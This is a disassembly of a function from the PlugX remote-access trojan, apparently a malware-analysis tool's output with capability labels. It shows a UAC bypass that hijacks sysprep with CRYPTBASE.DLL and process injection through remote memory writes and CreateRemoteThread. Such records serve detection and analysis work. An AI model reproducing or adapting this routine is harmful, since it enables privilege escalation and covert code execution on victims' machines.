Function at 0x10008640
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x904
cmp dword [0x1002d3d8], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
jne 0x100086b4
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100086ad
mov dword [eax + 0x1990], 0
jmp 0x100086af
xor eax, eax
mov dword [0x1002d3d8], eax
cmp word [0x10030354], 0
jne 0x1000870e
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1000870e
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1000870e
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [ebp - 0x30]
call fcn.1001b5b0
test eax, eax
je 0x10008733
push 0
mov edx, 0x16
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x1000876d
push 2
push 0x10028918
lea ecx, [ebp - 0x30]
call fcn.100066e0
test eax, eax
je 0x1000876d
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.UAC.TMP
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [ebp - 0x30]
push eax
push str.UAC.TMP
call fcn.100066e0
test eax, eax
je 0x100087a0
push 0
mov edx, 0x1b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
mov edi, dword [ebp - 0x24]
mov ecx, edi
call fcn.1001b190
test eax, eax
je 0x100087c2
push 0
mov edx, 0x20
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
push 0x3be
call fcn.10027bda
mov ebx, eax
mov dword [ebp - 0x18], 0
add esp, 4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
test ebx, ebx
jne 0x10008806
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
lea edx, [ebx + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
push ebx
call fcn.10024152
jmp 0x10008827
push 0x3bc
mov edx, section..data
mov dword [ebp - 0x18], 0x3bc
mov ecx, ebx
mov word [ebx + 0x3bc], 0
call fcn.1002427e
add esp, 4
lea eax, [ebp - 0x50]
xor ecx, ecx
push eax
lea eax, [ebp - 0x18]
push eax
call section..text
mov ecx, eax
call fcn.1000bf50
mov esi, eax
test esi, esi
je 0x1000885e
mov edx, 0x2a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
push esi
call fcn.10024152
add esp, 4
jmp 0x10008c44
push edi
lea ecx, [ebp - 0x50]
call fcn.10006630
mov esi, eax
test esi, esi
je 0x10008885
mov edx, 0x2f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
push esi
call fcn.10024152
add esp, 4
jmp 0x10008c44
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
call fcn.1001adc0
test eax, eax
je 0x100088c1
push 0
mov edx, 0x36
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x10028cfc
push str.kernel32
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x10028d0c
push str.kernel32
mov dword [ebp - 0x900], eax
call edi
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x8fc], eax
lea eax, [ebp - 0x8f8]
push str.kernel32.dll
push eax
call esi
push 0x10028e90
lea eax, [ebp - 0x8d8]
push eax
call esi
push 0x10028e84
lea eax, [ebp - 0x8b8]
push eax
call esi
push 0x10028e78
lea eax, [ebp - 0x898]
push eax
call esi
push str.ole32.dll
lea eax, [ebp - 0x878]
push eax
call esi
push str.CoInitializeEx
lea eax, [ebp - 0x858]
push eax
call esi
push str.CoCreateInstance
lea eax, [ebp - 0x838]
push eax
call esi
push str.CoUninitialize
lea eax, [ebp - 0x818]
push eax
call esi
push str.shell32.dll
lea eax, [ebp - 0x7f8]
push eax
call esi
push str.SHCreateItemFromParsingName
lea eax, [ebp - 0x7d8]
push eax
call esi
push str.ShellExecuteExW
lea eax, [ebp - 0x7b8]
push eax
call esi
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x798]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str._s_sysprepCRYPTBASE.DLL
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x698]
push dword [ebp - 0x24]
push 0x10028d78
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x598]
push edi
push str._s_sysprep
push eax
call esi
add esp, 0xc
push str.CRYPTBASE.DLL
push 0x10028d78
lea eax, [ebp - 0x498]
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x398]
push edi
push str._s_sysprep_sysprep.exe
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x298]
push dword [ebp - 8]
push 0x10028d78
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x198]
push str.RUNAS
push 0x10028d78
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x98]
xor edx, edx
push 0x44
call fcn.100242ad
add esp, 4
mov dword [ebp - 0x98], 0x44
mov eax, 1
mov dword [ebp - 0x6c], 1
xor edx, edx
mov word [ebp - 0x68], ax
lea ecx, [ebp - 0x40]
push 0x10
call fcn.100242ad
add esp, 4
push 0x1002
call fcn.10027bda
mov edi, eax
add esp, 4
test edi, edi
jne 0x10008a9c
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
lea edx, [edi + 0x62]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
push edi
call fcn.10024152
add esp, 4
jmp 0x10008aa5
mov word [edi + 0x1000], 0
push dword [ebp - 0xc]
push str._smsiexec.exe_UAC
push edi
call esi
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push 0x14
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10008af5
push eax
lea edx, [eax + 0x6b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10008c23
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push 0x1000
push 0
push dword [ebp - 0x40]
call esi
push 4
push 0x1000
push 0x868
push 0
push dword [ebp - 0x40]
mov dword [ebp - 4], eax
call esi
mov ecx, dword [ebp - 4]
xor esi, esi
mov dword [ebp - 8], eax
test ecx, ecx
je 0x10008d1e
test eax, eax
je 0x10008d1e
mov eax, 0x10008d50
cmp byte [eax], 0xe9
jne 0x10008b51
mov eax, 0x10008d50
add eax, dword [eax + 1]
add eax, 5
lea edx, [ebp - 0x1c]
push edx
push 0x1000
push eax
push ecx
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008c80
mov edx, 0x83
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 4]
push 0x8000
push 0
push eax
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x10008bb4
push eax
mov edx, 0xa2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x10008be3
push 0x8000
push 0
push eax
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x10008be3
push eax
mov edx, 0xaa
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10008c03
push eax
mov edx, 0xb0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10008c23
push eax
mov edx, 0xb5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
test edi, edi
je 0x10008c32
push 1
push edi
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10008c44
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x10008c56
push 1
push eax
call fcn.10027bcc
add esp, 8
test ebx, ebx
je 0x10008c65
push 1
push ebx
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10008c77
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x1c]
push eax
push 0x868
lea eax, [ebp - 0x900]
push eax
push dword [ebp - 8]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008caa
mov edx, 0x88
jmp 0x10008b72
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x10008cd4
mov edx, 0x8f
jmp 0x10008b72
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10008cf5
push 0
mov edx, 0x94
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10008b89
push eax
mov edx, 0x99
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
jmp 0x10008b89
push 0
mov edx, 0x75
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstallUAC.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x10008bb4
jmp 0x10008b8c